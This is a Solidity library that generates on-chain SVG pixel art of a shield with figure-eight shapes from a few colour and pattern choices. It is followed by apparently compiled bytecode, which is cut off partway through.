// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.7; library factory { function draw(uint256 background, uint256 checkerPattern, uint256 color, uint256 eight) public pure returns (string memory) { string[4] memory backgrounds = [ ".bg{fill:#131016}", ".bg{fill:#ffaa31}", ".bg{fill:#b42c41}", ".bg{fill:#007fff}" ]; string[4] memory colors = [ ".l{fill:#1d1036}.r{fill:#39206a}", ".l{fill:#202237}.r{fill:#242e5d}", ".l{fill:#334e74}.r{fill:#39987b}", ".l{fill:#18226d}.r{fill:#b42c41}" ]; string[2] memory eights = [ ".B{fill:#131016}.C{fill:#ee2073}.D{fill:#ffaa31}.E{fill:#39206a}", ".B{fill:#131016}.C{fill:#fd9d35}.D{fill:#fcea44}.E{fill:#fc6340}" ]; string memory bg = backgrounds[background]; string memory c = colors[color]; string memory e = eights[eight]; string memory eightDraw = _getEights(); string memory outline = _getOutline(); string memory backgroundDraw = _getBackground(); string memory closeStyle = ']]></style><g id="image" transform="scale(4 4)">'; string memory s = _getShield(checkerPattern); return string(abi.encodePacked('<svg version="1.1" width="160" height="160" xmlns="http://www.w3.org/2000/svg" shape-rendering="crispEdges"><style><![CDATA[',bg,c,e,closeStyle,backgroundDraw,s,eightDraw,outline,'</g></svg>')); } function _getShield(uint256 checkerPattern) internal pure returns (string memory) { if (checkerPattern == 0) { return _getBigShield(); } else { return _getSmallShield(); } } function _getBackground() internal pure returns (string memory) { string memory background = '<rect x="0" y="0" width="40" height="40" class="bg"/>'; return background; } function _getBigShield() internal pure returns (string memory) { string memory shield = '<rect x="7" y="4" width="13" height="15" class="l" />' '<rect x="8" y="3" width="12" height="1" class="l" />' '<rect x="6" y="5" width="1" height="14" class="l" />' '<rect x="20" y="19" width="14" height="9" class="l" />' '<rect x="20" y="28" width="13" height="1" class="l" />' '<rect x="20" y="29" width="12" height="1" class="l" />' '<rect x="20" y="30" width="11" height="1" class="l" />' '<rect x="20" y="31" width="10" height="1" class="l" />' '<rect x="20" y="32" width="9" height="1" class="l" />' '<rect x="20" y="33" width="8" height="1" class="l" />' '<rect x="20" y="34" width="7" height="1" class="l" />' '<rect x="20" y="35" width="6" height="1" class="l" />' '<rect x="20" y="36" width="5" height="1" class="l" />' '<rect x="20" y="37" width="4" height="1" class="l" />' '<rect x="20" y="3" width="12" height="1" class="r" />' '<rect x="20" y="4" width="13" height="15" class="r" />' '<rect x="33" y="5" width="1" height="14" class="r" />' '<rect x="6" y="19" width="14" height="9" class="r" />' '<rect x="7" y="28" width="13" height="1" class="r" />' '<rect x="8" y="29" width="12" height="1" class="r" />' '<rect x="9" y="30" width="11" height="1" class="r" />' '<rect x="10" y="31" width="10" height="1" class="r" />' '<rect x="11" y="32" width="9" height="1" class="r" />' '<rect x="12" y="33" width="8" height="1" class="r" />' '<rect x="13" y="34" width="7" height="1" class="r" />' '<rect x="14" y="35" width="6" height="1" class="r" />' '<rect x="15" y="36" width="5" height="1" class="r" />' '<rect x="16" y="37" width="4" height="1" class="r" />'; return shield; } function _getSmallShield() internal pure returns (string memory) { string memory shield = '<rect x="7" y="4" width="13" height="15" class="l" />' '<rect x="8" y="3" width="12" height="1" class="l" />' '<rect x="6" y="5" width="1" height="14" class="l" />' '<rect x="20" y="19" width="14" height="9" class="l" />' '<rect x="20" y="28" width="13" height="1" class="l" />' '<rect x="20" y="29" width="12" height="1" class="l" />' '<rect x="20" y="30" width="11" height="1" class="l" />' '<rect x="20" y="31" width="10" height="1" class="l" />' '<rect x="20" y="32" width="9" height="1" class="l" />' '<rect x="20" y="33" width="8" height="1" class="l" />' '<rect x="20" y="34" width="7" height="1" class="l" />' '<rect x="20" y="35" width="6" height="1" class="l" />' '<rect x="20" y="36" width="5" height="1" class="l" />' '<rect x="20" y="37" width="4" height="1" class="l" />' '<rect x="20" y="3" width="12" height="1" class="l" />' '<rect x="20" y="4" width="13" height="15" class="l" />' '<rect x="33" y="5" width="1" height="14" class="l" />' '<rect x="6" y="19" width="14" height="9" class="l" />' '<rect x="7" y="28" width="13" height="1" class="l" />' '<rect x="8" y="29" width="12" height="1" class="l" />' '<rect x="9" y="30" width="11" height="1" class="l" />' '<rect x="10" y="31" width="10" height="1" class="l" />' '<rect x="11" y="32" width="9" height="1" class="l" />' '<rect x="12" y="33" width="8" height="1" class="l" />' '<rect x="13" y="34" width="7" height="1" class="l" />' '<rect x="14" y="35" width="6" height="1" class="l" />' '<rect x="15" y="36" width="6" height="1" class="l" />' '<rect x="16" y="37" width="4" height="1" class="l" />' '<rect x="10" y="3" width="4" height="4" class="r" />' '<rect x="18" y="3" width="4" height="4" class="r" />' '<rect x="26" y="3" width="4" height="4" class="r" />' '<rect x="14" y="7" width="4" height="4" class="r" />' '<rect x="22" y="7" width="4" height="4" class="r" />' '<rect x="30" y="7" width="4" height="4" class="r" />' '<rect x="10" y="11" width="4" height="4" class="r" />' '<rect x="18" y="11" width="4" height="4" class="r" />' '<rect x="26" y="11" width="4" height="4" class="r" />' '<rect x="6" y="15" width="4" height="4" class="r" />' '<rect x="14" y="15" width="4" height="4" class="r" />' '<rect x="22" y="15" width="4" height="4" class="r" />' '<rect x="30" y="15" width="4" height="4" class="r" />' '<rect x="10" y="19" width="4" height="4" class="r" />' '<rect x="18" y="19" width="4" height="4" class="r" />' '<rect x="26" y="19" width="4" height="4" class="r" />' '<rect x="6" y="23" width="4" height="4" class="r" />' '<rect x="14" y="23" width="4" height="4" class="r" />' '<rect x="22" y="23" width="4" height="4" class="r" />' '<rect x="30" y="23" width="4" height="4" class="r" />' '<rect x="10" y="27" width="4" height="4" class="r" />' '<rect x="18" y="27" width="4" height="4" class="r" />' '<rect x="26" y="27" width="4" height="4" class="r" />' '<rect x="14" y="31" width="4" height="4" class="r" />' '<rect x="22" y="31" width="4" height="4" class="r" />' '<rect x="18" y="35" width="4" height="3" class="r" />'; return shield; } function _getOutline() internal pure returns (string memory) { string memory outline = '<rect x="8" y="2" width="24" height="1" fill="#202237" />' '<rect x="7" y="3" width="1" height="1" fill="#202237" />' '<rect x="32" y="3" width="1" height="1" fill="#202237" />' '<rect x="6" y="4" width="1" height="1" fill="#202237" />' '<rect x="33" y="4" width="1" height="1" fill="#202237" />' '<rect x="5" y="5" width="1" height="23" fill="#202237" />' '<rect x="34" y="5" width="1" height="23" fill="#202237" />' '<rect x="6" y="28" width="1" height="1" fill="#202237" />' '<rect x="33" y="28" width="1" height="1" fill="#202237" />' '<rect x="7" y="29" width="1" height="1" fill="#202237" />' '<rect x="32" y="29" width="1" height="1" fill="#202237" />' '<rect x="8" y="30" width="1" height="1" fill="#202237" />' '<rect x="31" y="30" width="1" height="1" fill="#202237" />' '<rect x="9" y="31" width="1" height="1" fill="#202237" />' '<rect x="30" y="31" width="1" height="1" fill="#202237" />' '<rect x="10" y="32" width="1" height="1" fill="#202237" />' '<rect x="29" y="32" width="1" height="1" fill="#202237" />' '<rect x="11" y="33" width="1" height="1" fill="#202237" />' '<rect x="28" y="33" width="1" height="1" fill="#202237" />' '<rect x="12" y="34" width="1" height="1" fill="#202237" />' '<rect x="27" y="34" width="1" height="1" fill="#202237" />' '<rect x="13" y="35" width="1" height="1" fill="#202237" />' '<rect x="26" y="35" width="1" height="1" fill="#202237" />' '<rect x="14" y="36" width="1" height="1" fill="#202237" />' '<rect x="25" y="36" width="1" height="1" fill="#202237" />' '<rect x="15" y="37" width="1" height="1" fill="#202237" />' '<rect x="24" y="37" width="1" height="1" fill="#202237" />' '<rect x="16" y="38" width="8" height="1" fill="#202237" />'; return outline; } function _getEights() internal pure returns (string memory) { string memory eight = '<path d="M15 3h1v1h-1z" class="B"/><g class="D"><path d="M16 3h1v1h-1z"/><path d="M17 3h1v1h-1z"/><path d="M18 3h1v1h-1z"/></g><g class="B"><path d="M19 3h1v1h-1z"/><path d="M20 3h1v1h-1z"/></g><g class="D"><path d="M21 3h1v1h-1z"/><path d="M22 3h1v1h-1z"/><path d="M23 3h1v1h-1z"/></g><path d="M24 3h1v1h-1zm-9 1h1v1h-1z" class="B"/><path d="M16 4h1v1h-1z" class="C"/><path d="M17 4h1v1h-1z" class="D"/><path d="M18 4h1v1h-1z" class="C"/><g class="B"><path d="M19 4h1v1h-1z"/><path d="M20 4h1v1h-1z"/></g><path d="M21 4h1v1h-1z" class="C"/><path d="M22 4h1v1h-1z" class="D"/><path d="M23 4h1v1h-1z" class="C"/><path d="M24 4h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M17 5h1v1h-1z" class="C"/><path d="M18 5h1v1h-1z" class="D"/><g class="C"><path d="M19 5h1v1h-1z"/><path d="M20 5h1v1h-1z"/></g><path d="M21 5h1v1h-1z" class="D"/><path d="M22 5h1v1h-1z" class="C"/><path d="M23 5h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="C"><path d="M18 6h1v1h-1z"/><path d="M19 6h1v1h-1z"/><path d="M20 6h1v1h-1z"/><path d="M21 6h1v1h-1z"/></g><path d="M22 6h1v1h-1zm-6 1h1v1h-1z" class="B"/><path d="M17 7h1v1h-1z" class="C"/><path d="M18 7h1v1h-1z" class="E"/><g class="C"><path d="M19 7h1v1h-1z"/><path d="M20 7h1v1h-1z"/></g><path d="M21 7h1v1h-1z" class="E"/><path d="M22 7h1v1h-1z" class="C"/><path d="M23 7h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M16 8h1v1h-1z" class="C"/><path d="M17 8h1v1h-1z" class="E"/><path d="M18 8h1v1h-1z" class="C"/><g class="B"><path d="M19 8h1v1h-1z"/><path d="M20 8h1v1h-1z"/></g><path d="M21 8h1v1h-1z" class="C"/><path d="M22 8h1v1h-1z" class="E"/><path d="M23 8h1v1h-1z" class="C"/><path d="M24 8h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="E"><path d="M16 9h1v1h-1z"/><path d="M17 9h1v1h-1z"/><path d="M18 9h1v1h-1z"/></g><g class="B"><path d="M19 9h1v1h-1z"/><path d="M20 9h1v1h-1z"/></g><g class="E"><path d="M21 9h1v1h-1z"/><path d="M22 9h1v1h-1z"/><path d="M23 9h1v1h-1z"/></g><path d="M24 9h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="E"><path d="M16 10h1v1h-1z"/><path d="M17 10h1v1h-1z"/><path d="M18 10h1v1h-1z"/></g><g class="B"><path d="M19 10h1v1h-1z"/><path d="M20 10h1v1h-1z"/></g><g class="E"><path d="M21 10h1v1h-1z"/><path d="M22 10h1v1h-1z"/><path d="M23 10h1v1h-1z"/></g><path d="M24 10h1v1h-1zm-8 1h1v1h-1z" class="B"/><g class="E"><path d="M17 11h1v1h-1z"/><path d="M18 11h1v1h-1z"/><path d="M19 11h1v1h-1z"/><path d="M20 11h1v1h-1z"/><path d="M21 11h1v1h-1z"/><path d="M22 11h1v1h-1z"/></g><path d="M23 11h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="E"><path d="M18 12h1v1h-1z"/><path d="M19 12h1v1h-1z"/><path d="M20 12h1v1h-1z"/><path d="M21 12h1v1h-1z"/></g><g class="B"><path d="M22 12h1v1h-1zm-4 1h1v1h-1z"/><path d="M19 13h1v1h-1z"/><path d="M20 13h1v1h-1z"/><path d="M21 13h1v1h-1zm-4 1h1v1h-1z"/></g><g class="D"><path d="M18 14h1v1h-1z"/><path d="M19 14h1v1h-1z"/><path d="M20 14h1v1h-1z"/><path d="M21 14h1v1h-1z"/></g><path d="M22 14h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="D"><path d="M17 15h1v1h-1z"/><path d="M18 15h1v1h-1z"/><path d="M19 15h1v1h-1z"/><path d="M20 15h1v1h-1z"/><path d="M21 15h1v1h-1z"/><path d="M22 15h1v1h-1z"/></g><path d="M23 15h1v1h-1zm-8 1h1v1h-1z" class="B"/><g class="D"><path d="M16 16h1v1h-1z"/><path d="M17 16h1v1h-1z"/><path d="M18 16h1v1h-1z"/></g><g class="B"><path d="M19 16h1v1h-1z"/><path d="M20 16h1v1h-1z"/></g><g class="D"><path d="M21 16h1v1h-1z"/><path d="M22 16h1v1h-1z"/><path d="M23 16h1v1h-1z"/></g><path d="M24 16h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="D"><path d="M16 17h1v1h-1z"/><path d="M17 17h1v1h-1z"/><path d="M18 17h1v1h-1z"/></g><g class="B"><path d="M19 17h1v1h-1z"/><path d="M20 17h1v1h-1z"/></g><g class="D"><path d="M21 17h1v1h-1z"/><path d="M22 17h1v1h-1z"/><path d="M23 17h1v1h-1z"/></g><path d="M24 17h1v1h-1zm-9 1h1v1h-1z" class="B"/><path d="M16 18h1v1h-1z" class="C"/><path d="M17 18h1v1h-1z" class="D"/><path d="M18 18h1v1h-1z" class="C"/><g class="B"><path d="M19 18h1v1h-1z"/><path d="M20 18h1v1h-1z"/></g><path d="M21 18h1v1h-1z" class="C"/><path d="M22 18h1v1h-1z" class="D"/><path d="M23 18h1v1h-1z" class="C"/><path d="M24 18h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M17 19h1v1h-1z" class="C"/><path d="M18 19h1v1h-1z" class="D"/><g class="C"><path d="M19 19h1v1h-1z"/><path d="M20 19h1v1h-1z"/></g><path d="M21 19h1v1h-1z" class="D"/><path d="M22 19h1v1h-1z" class="C"/><path d="M23 19h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="C"><path d="M18 20h1v1h-1z"/><path d="M19 20h1v1h-1z"/><path d="M20 20h1v1h-1z"/><path d="M21 20h1v1h-1z"/></g><path d="M22 20h1v1h-1zm-6 1h1v1h-1z" class="B"/><path d="M17 21h1v1h-1z" class="C"/><path d="M18 21h1v1h-1z" class="E"/><g class="C"><path d="M19 21h1v1h-1z"/><path d="M20 21h1v1h-1z"/></g><path d="M21 21h1v1h-1z" class="E"/><path d="M22 21h1v1h-1z" class="C"/><path d="M23 21h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M16 22h1v1h-1z" class="C"/><path d="M17 22h1v1h-1z" class="E"/><path d="M18 22h1v1h-1z" class="C"/><g class="B"><path d="M19 22h1v1h-1z"/><path d="M20 22h1v1h-1z"/></g><path d="M21 22h1v1h-1z" class="C"/><path d="M22 22h1v1h-1z" class="E"/><path d="M23 22h1v1h-1z" class="C"/><path d="M24 22h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="E"><path d="M16 23h1v1h-1z"/><path d="M17 23h1v1h-1z"/><path d="M18 23h1v1h-1z"/></g><g class="B"><path d="M19 23h1v1h-1z"/><path d="M20 23h1v1h-1z"/></g><g class="E"><path d="M21 23h1v1h-1z"/><path d="M22 23h1v1h-1z"/><path d="M23 23h1v1h-1z"/></g><path d="M24 23h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="E"><path d="M16 24h1v1h-1z"/><path d="M17 24h1v1h-1z"/><path d="M18 24h1v1h-1z"/></g><g class="B"><path d="M19 24h1v1h-1z"/><path d="M20 24h1v1h-1z"/></g><g class="E"><path d="M21 24h1v1h-1z"/><path d="M22 24h1v1h-1z"/><path d="M23 24h1v1h-1z"/></g><path d="M24 24h1v1h-1zm-8 1h1v1h-1z" class="B"/><g class="E"><path d="M17 25h1v1h-1z"/><path d="M18 25h1v1h-1z"/><path d="M19 25h1v1h-1z"/><path d="M20 25h1v1h-1z"/><path d="M21 25h1v1h-1z"/><path d="M22 25h1v1h-1z"/></g><path d="M23 25h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="E"><path d="M18 26h1v1h-1z"/><path d="M19 26h1v1h-1z"/><path d="M20 26h1v1h-1z"/><path d="M21 26h1v1h-1z"/></g><g class="B"><path d="M22 26h1v1h-1zm-4 1h1v1h-1z"/><path d="M19 27h1v1h-1z"/><path d="M20 27h1v1h-1z"/><path d="M21 27h1v1h-1zm-4 1h1v1h-1z"/></g><g class="D"><path d="M18 28h1v1h-1z"/><path d="M19 28h1v1h-1z"/><path d="M20 28h1v1h-1z"/><path d="M21 28h1v1h-1z"/></g><path d="M22 28h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="D"><path d="M17 29h1v1h-1z"/><path d="M18 29h1v1h-1z"/><path d="M19 29h1v1h-1z"/><path d="M20 29h1v1h-1z"/><path d="M21 29h1v1h-1z"/><path d="M22 29h1v1h-1z"/></g><path d="M23 29h1v1h-1zm-8 1h1v1h-1z" class="B"/><g class="D"><path d="M16 30h1v1h-1z"/><path d="M17 30h1v1h-1z"/><path d="M18 30h1v1h-1z"/></g><g class="B"><path d="M19 30h1v1h-1z"/><path d="M20 30h1v1h-1z"/></g><g class="D"><path d="M21 30h1v1h-1z"/><path d="M22 30h1v1h-1z"/><path d="M23 30h1v1h-1z"/></g><path d="M24 30h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="D"><path d="M16 31h1v1h-1z"/><path d="M17 31h1v1h-1z"/><path d="M18 31h1v1h-1z"/></g><g class="B"><path d="M19 31h1v1h-1z"/><path d="M20 31h1v1h-1z"/></g><g class="D"><path d="M21 31h1v1h-1z"/><path d="M22 31h1v1h-1z"/><path d="M23 31h1v1h-1z"/></g><path d="M24 31h1v1h-1zm-9 1h1v1h-1z" class="B"/><path d="M16 32h1v1h-1z" class="C"/><path d="M17 32h1v1h-1z" class="D"/><path d="M18 32h1v1h-1z" class="C"/><g class="B"><path d="M19 32h1v1h-1z"/><path d="M20 32h1v1h-1z"/></g><path d="M21 32h1v1h-1z" class="C"/><path d="M22 32h1v1h-1z" class="D"/><path d="M23 32h1v1h-1z" class="C"/><path d="M24 32h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M17 33h1v1h-1z" class="C"/><path d="M18 33h1v1h-1z" class="D"/><g class="C"><path d="M19 33h1v1h-1z"/><path d="M20 33h1v1h-1z"/></g><path d="M21 33h1v1h-1z" class="D"/><path d="M22 33h1v1h-1z" class="C"/><path d="M23 33h1v1h-1zm-6 1h1v1h-1z" class="B"/><g class="C"><path d="M18 34h1v1h-1z"/><path d="M19 34h1v1h-1z"/><path d="M20 34h1v1h-1z"/><path d="M21 34h1v1h-1z"/></g><path d="M22 34h1v1h-1zm-6 1h1v1h-1z" class="B"/><path d="M17 35h1v1h-1z" class="C"/><path d="M18 35h1v1h-1z" class="E"/><g class="C"><path d="M19 35h1v1h-1z"/><path d="M20 35h1v1h-1z"/></g><path d="M21 35h1v1h-1z" class="E"/><path d="M22 35h1v1h-1z" class="C"/><path d="M23 35h1v1h-1zm-8 1h1v1h-1z" class="B"/><path d="M16 36h1v1h-1z" class="C"/><path d="M17 36h1v1h-1z" class="E"/><path d="M18 36h1v1h-1z" class="C"/><g class="B"><path d="M19 36h1v1h-1z"/><path d="M20 36h1v1h-1z"/></g><path d="M21 36h1v1h-1z" class="C"/><path d="M22 36h1v1h-1z" class="E"/><path d="M23 36h1v1h-1z" class="C"/><path d="M24 36h1v1h-1zm-9 1h1v1h-1z" class="B"/><g class="E"><path d="M16 37h1v1h-1z"/><path d="M17 37h1v1h-1z"/><path d="M18 37h1v1h-1z"/></g><g class="B"><path d="M19 37h1v1h-1z"/><path d="M20 37h1v1h-1z"/></g><g class="E"><path d="M21 37h1v1h-1z"/><path d="M22 37h1v1h-1z"/><path d="M23 37h1v1h-1z"/></g><path d="M24 37h1v1h-1z" class="B"/>'; return eight; } }
0x730aafcb323a70e9c590cd9577160f9b3fd16d4ab630146080604052600436106100355760003560e01c8063ad204ef81461003a575b600080fd5b610054600480360381019061004f9190610495565b61006a565b6040516100619190610634565b60405180910390f35b6060600060405180608001604052806040518060400160405280601181526020017f2e62677b66696c6c3a233133313031367d00000000000000000000000000000081525081526020016040518060400160405280601181526020017f2e62677b66696c6c3a236666616133317d00000000000000000000000000000081525081526020016040518060400160405280601181526020017f2e62677b66696c6c3a236234326334317d00000000000000000000000000000081525081526020016040518060400160405280601181526020017f2e62677b66696c6c3a233030376666667d0000000000000000000000000000008152508152509050600060405180608001604052806040518060400160405280602081526020017f2e6c7b66696c6c3a233164313033367d2e727b66696c6c3a233339323036617d81525081526020016040518060400160405280602081526020017f2e6c7b66696c6c3a233230323233377d2e727b66696c6c3a233234326535647d81525081526020016040518060400160405280602081526020017f2e6c7b66696c6c3a233333346537347d2e727b66696c6c3a233339393837627d81525081526020016040518060400160405280602081526020017f2e6c7b66696c6c3a233138323236647d2e727b66696c6c3a236234326334317d8152508152509050600060405180604001604052806040518060600160405280604081526020016130e260409139815260200160405180606001604052806040815260200161081060409139815250905060008389600481106102bc576102bb6106ba565b5b6020020151905060008388600481106102d8576102d76106ba565b5b6020020151905060008388600281106102f4576102f36106ba565b5b60200201519050600061030561038c565b905060006103116103b5565b9050600061031d6103de565b9050600060405180606001604052806030815260200161429960309139905060006103478f610404565b90508787878486858a8a6040516020016103689897969594939291906105ac565b6040516020818303038152906040529b505050505050505050505050949350505050565b606060006040518061230001604052806122c18152602001610e216122c1913990508091505090565b6060600060405180610680016040528061064c815260200161312261064c913990508091505090565b606060006040518060600160405280603581526020016107db6035913990508091505090565b6060600082141561041e5761041761042e565b9050610429565b610426610457565b90505b919050565b606060006040518061060001604052806105d181526020016108506105d1913990508091505090565b6060600060405180610b600160405280610b2b815260200161376e610b2b913990508091505090565b60008135905061048f816107c3565b92915050565b600080600080608085870312156104af576104ae6106e9565b5b60006104bd87828801610480565b94505060206104ce87828801610480565b93505060406104df87828801610480565b92505060606104f087828801610480565b91505092959194509250565b600061050782610656565b6105118185610661565b9350610521818560208601610687565b61052a816106ee565b840191505092915050565b600061054082610656565b61054a8185610672565b935061055a818560208601610687565b80840191505092915050565b6000610573600a83610672565b915061057e826106ff565b600a82019050919050565b6000610596607c83610672565b91506105a182610728565b607c82019050919050565b60006105b782610589565b91506105c3828b610535565b91506105cf828a610535565b91506105db8289610535565b91506105e78288610535565b91506105f38287610535565b91506105ff8286610535565b915061060b8285610535565b91506106178284610535565b915061062282610566565b91508190509998505050505050505050565b6000602082019050818103600083015261064e81846104fc565b905092915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000819050919050565b60005b838110156106a557808201518184015260208101905061068a565b838111156106b4576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f3c2f673e3c2f7376673e00000000000000000000000000000000000000000000600082015250565b7f3c7376672076657273696f6e3d22312e31222077696474683d2231363022206860008201527f65696768743d223136302220786d6c6e733d22687474703a2f2f7777772e773360208201527f2e6f72672f323030302f737667222073686170652d72656e646572696e673d2260408201527f63726973704564676573223e3c7374796c653e3c215b43444154415b00000000606082015250565b6107cc8161067d565b81146107d757600080fd5b5056fe3c7265637420783d22302220793d2230222077696474683d22343022206865696768743d2234302220636c6173733d226267222f3e2e427b66696c6c3a233133313031367d2e437b66696c6c3a236664396433357d2e447b66696c6c3a236663656134347d2e457b66696c6c3a236663363334307d3c7265637420783d22372220793d2234222077696474683d22313322206865696768743d2231352220636c6173733d226c22202f3e3c7265637420783d22382220793d2233222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d22362220793d2235222077696474683d223122206865696768743d2231342220636c6173733d226c22202f3e3c7265637420783d2232302220793d223139222077696474683d22313422206865696768743d22392220636c6173733d226c22202f3e3c7265637420783d2232302220793d223238222077696474683d22313322206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223239222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223330222077696474683d22313122206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223331222077696474683d22313022206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223332222077696474683d223922206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223333222077696474683d223822206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223334222077696474683d223722206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223335222077696474683d223622206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223336222077696474683d223522206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223337222077696474683d223422206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d2233222077696474683d22313222206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2232302220793d2234222077696474683d22313322206865696768743d2231352220636c6173733d227222202f3e3c7265637420783d2233332220793d2235222077696474683d223122206865696768743d2231342220636c6173733d227222202f3e3c7265637420783d22362220793d223139222077696474683d22313422206865696768743d22392220636c6173733d227222202f3e3c7265637420783d22372220793d223238222077696474683d22313322206865696768743d22312220636c6173733d227222202f3e3c7265637420783d22382220793d223239222077696474683d22313222206865696768743d22312220636c6173733d227222202f3e3c7265637420783d22392220793d223330222077696474683d22313122206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231302220793d223331222077696474683d22313022206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231312220793d223332222077696474683d223922206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231322220793d223333222077696474683d223822206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231332220793d223334222077696474683d223722206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231342220793d223335222077696474683d223622206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231352220793d223336222077696474683d223522206865696768743d22312220636c6173733d227222202f3e3c7265637420783d2231362220793d223337222077696474683d223422206865696768743d22312220636c6173733d227222202f3e3c7061746820643d224d3135203368317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d3136203368317631682d317a222f3e3c7061746820643d224d3137203368317631682d317a222f3e3c7061746820643d224d3138203368317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d3139203368317631682d317a222f3e3c7061746820643d224d3230203368317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d3231203368317631682d317a222f3e3c7061746820643d224d3232203368317631682d317a222f3e3c7061746820643d224d3233203368317631682d317a222f3e3c2f673e3c7061746820643d224d3234203368317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d3136203468317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3137203468317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d3138203468317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d3139203468317631682d317a222f3e3c7061746820643d224d3230203468317631682d317a222f3e3c2f673e3c7061746820643d224d3231203468317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3232203468317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d3233203468317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3234203468317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d3137203568317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3138203568317631682d317a2220636c6173733d2244222f3e3c6720636c6173733d2243223e3c7061746820643d224d3139203568317631682d317a222f3e3c7061746820643d224d3230203568317631682d317a222f3e3c2f673e3c7061746820643d224d3231203568317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d3232203568317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3233203568317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2243223e3c7061746820643d224d3138203668317631682d317a222f3e3c7061746820643d224d3139203668317631682d317a222f3e3c7061746820643d224d3230203668317631682d317a222f3e3c7061746820643d224d3231203668317631682d317a222f3e3c2f673e3c7061746820643d224d3232203668317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d3137203768317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3138203768317631682d317a2220636c6173733d2245222f3e3c6720636c6173733d2243223e3c7061746820643d224d3139203768317631682d317a222f3e3c7061746820643d224d3230203768317631682d317a222f3e3c2f673e3c7061746820643d224d3231203768317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d3232203768317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3233203768317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d3136203868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3137203868317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d3138203868317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d3139203868317631682d317a222f3e3c7061746820643d224d3230203868317631682d317a222f3e3c2f673e3c7061746820643d224d3231203868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3232203868317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d3233203868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d3234203868317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d3136203968317631682d317a222f3e3c7061746820643d224d3137203968317631682d317a222f3e3c7061746820643d224d3138203968317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d3139203968317631682d317a222f3e3c7061746820643d224d3230203968317631682d317a222f3e3c2f673e3c6720636c6173733d2245223e3c7061746820643d224d3231203968317631682d317a222f3e3c7061746820643d224d3232203968317631682d317a222f3e3c7061746820643d224d3233203968317631682d317a222f3e3c2f673e3c7061746820643d224d3234203968317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313620313068317631682d317a222f3e3c7061746820643d224d313720313068317631682d317a222f3e3c7061746820643d224d313820313068317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920313068317631682d317a222f3e3c7061746820643d224d323020313068317631682d317a222f3e3c2f673e3c6720636c6173733d2245223e3c7061746820643d224d323120313068317631682d317a222f3e3c7061746820643d224d323220313068317631682d317a222f3e3c7061746820643d224d323320313068317631682d317a222f3e3c2f673e3c7061746820643d224d323420313068317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c6720636c6